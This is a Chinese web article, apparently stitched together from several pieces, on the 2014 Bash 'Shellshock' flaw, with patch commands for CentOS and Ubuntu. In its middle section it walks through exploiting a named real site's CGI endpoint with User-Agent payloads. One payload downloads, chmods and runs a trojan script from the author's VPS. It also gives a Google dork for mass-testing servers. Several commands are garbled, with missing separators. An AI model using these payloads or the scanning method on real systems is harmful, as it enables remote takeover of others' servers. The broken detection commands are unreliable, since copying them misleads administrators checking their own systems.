日前Linux官方内置Bash中新发现一个非常严重安全漏洞,黑客可以利用该Bash漏洞完全控制目标系统并发起攻击,为了避免您Linux服务器受影响,建议您尽快完成漏洞修补。 今天Linux官方已经给出了Bash漏洞最新解决方案,还没有修复Bash漏洞的朋友,请尽快修复。以下是小编为大家附上最常用的Linux内核之centos和ubuntu服务器修复Bash漏洞终极修复方法。
Centos和Ubuntu修复Linux Bash漏洞终极方法
目前已确认被成功利用的软件及系统:所有安装GNU bash 版本小于或者等于4.3的Linux操作系统。
【Bash漏洞描述】该漏洞源于你调用的bash shell之前创建的特殊的环境变量,这些变量可以包含代码,同时会被bash执行。
【漏洞检测方法】
在服务器命令中使用漏洞检测命令:env -i X='() { (a)=>' bash -c 'echo date'cat echo
修复前,会显示当前系统时间,说明服务器此漏洞还未修复,请及时修复,以下附上Linux系统修复方案,主要包括: centos和ubuntu系统最终修复方案。
一、centos最终修复Bash漏洞方案
在服务器命令框中,键入如下命令升级,修复漏洞:
yum clean all
yum makecache
yum -y update bash
二、ubuntu最终修复Bash漏洞方案,请运行如下命令
apt-cache gencaches
apt-get -y install --only-upgrade bash
进行以上方法修复后,我们再次运行检测命令:env -i X='() { (a)=>' bash -c 'echo date'cat echo
如果使用修补方案修复后输出: date,也就是输出结果中包含date字符串就表示漏洞修复成功了。
其他Linux服务器Bash漏洞终极修复方法
特别提示 :该修复不会有任何影响,如果您的脚本使用以上方式定义环境变量,修复后您的脚本执行会报错, 为了防止意外情况发生,建议您执行命令前先对Linux服务器系统盘进行备份。
注 :更多精彩教程请关注电脑教程栏目,电脑办公群:189034526欢迎你的加入
从昨天开始,这个从澳大利亚远渡重洋而来的BASH远程命令执行漏洞就沸腾了整个FreeBuf,大家都在谈论,“互联网的心脏又出血了”,可是,亲,到底怎么对网站进行测试?下面这段脚本$ env x=‘() { :}echo vulnerable' bash -c "echo this is a test"
真的如各路大神们说的这样吗?
它与“心脏出血”漏洞不同,“心脏出血”只能借助窃取用户电脑信息,而bash 漏洞允许黑客远程控制电脑,拿到系统最高权限!其方法利用就更简单了——复制/粘贴一行命令代码即可!
Bash漏洞为什么能够执行
Bash漏洞的原理:
BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。
此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。
简单地说就是,Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。
Bash漏洞与远程执行有啥联系
看到上面的解释,很多童鞋都理解成了本地的漏洞,然后很多人又觉得,本地有啥可以利用的,于是就忽略了这个神级漏洞的存在。我想说的是,这个漏洞,利用热度可以媲美当年的MS08-067,威力虽然弱了点,但远程控制电脑还是可以的。
首先解释一下cgi脚本。很多网站类似下面的链接:
GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1
后台不仅仅用python、Perl来解释执行并反馈给客户端Response,当然还可以换做bash脚本来解释执行提交上来的GET/POST请求。所以,理论上,你在HTTP请求中插入一个Bash命令,比如
() { :}wget http://www.myvps.org/testvul.sh
如果服务器的Bash解释器具有这个漏洞,那么在解释上面这这句话的时候就会执行wget请求,将一个恶意的testvul.sh文件下载到这个服务器,那为何说要放在HTTP头部呢?比如:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: Mozilla/5.0 (X11Ubunturv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
这是因为这个漏洞是bash解释器在解释某些特殊的变量时才可以触发的:
在于BASH处理以“(){”开头的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令
通过自定义这些参数的值为“函数环境变量”的形式,就可以触发后面的命令,恶意的客户仅需要发送特殊构造的HTTP请求就可以使服务器执行特定的命令(命令的权限和解释HTTP请求的Bash脚本环境相同)。
实际测试中,我的构造的测试请求:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :}/usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
过程是这样的:
我发送GET请求–>目标服务器cgi路径
目标服务器解析这个get请求,碰到UserAgent后面的参数,Bash解释器就执行了后面的命令
目标服务器wget–>我的myvps.org
我的vps记录下这个访问的IP地址
然后查看我的myvps.org服务器的访问记录,就可以确定目标有没有去访问,如果访问了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget请求访问的日志:
大神是这样测试漏洞的
当然,你也可以这样构造:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :}/usr/bin/wget -O /tmp/muma.sh chmod 777 /tmp/muma.sh./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
实际上执行了下面三句:
/usr/bin/wget -O /tmp/muma.sh http://myvps.org/muma.sh
chmod 777 /tmp/muma.sh
./tmp/muma.sh
你会发现,脚本就执行了,这就是Bash漏洞利用测试的精髓。
当然,你可以利用批量Google搜索:
filetype:cgi inurl:cgi-bin site:jp
然后批量提交类似的GET请求,你就能做到批量测试了。测试表明,500个url里有6-8个有bash漏洞
目前网上曝光了一个非常严重的Bash漏洞,它允许黑客向服务器发出遥控指令,轻松盗取隐私信息,然而很多朋友对于Bash是什么以及Bash是什么意思不了解,因此以下这篇知识扫盲文章,会给大家带来一定的帮助。
Bash是什么?
bash是一个为GNU计划编写的Unix shell。它的名字是一系列缩写:Bourne-Again SHell — 这是关于Bourne shell(sh)的一个双关语(Bourne again / born again)。Bourne shell是一个早期的重要shell,由史蒂夫·伯恩在1978年前后编写,并同Version 7 Unix一起发布。bash则在1987年由布莱恩·福克斯创造。在1990年,Chet Ramey成为了主要的维护者。
bash是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。
2014年9月,多名网络安全专家发现一种在网络中已经隐藏20年的bug,这种名为Bash的漏洞比“心脏出血”漏洞的威胁还要严重。黑客可以通过它遥控向网络服务器发出指令,这意味着服务器受影响的公司将遇到大麻烦。
因此,在当前,Bash是一个安全漏洞,允许黑客向网络服务器发出遥控指令。由于这种bug允许黑客指令服务器去做任何他想做的事情,为此隐私信息很容易被从受影响的服务器中窃走。
Bash解决办法:
1、下载最新的补丁进行修复,方法为:
2、在机器上运行命令:
$ env x='() { :}echo vulnerable' bash -c "echo this is a test"
如果返回以下内容:则请尽快升级。
vulnerablethis is a test目前官方已经提供了升级包请运行:yum update -y bash 进行升级处理!
Bash是什么意思?
bash是一个英文单词,字面意思有:痛击、猛击严厉批评、怒殴、威胁地批评指责等含义。
不过bash通常是borne again shell的缩写,它是shell的一种,Linux上默认采用的是bash当你在命令行中敲入bash命令时,相当于进入bash环境,如果本身就是bash环境,那么就是进入一个子bash环境,相当于开了一个子进程。
欢迎分享,转载请注明来源:夏雨云
评论列表(0条)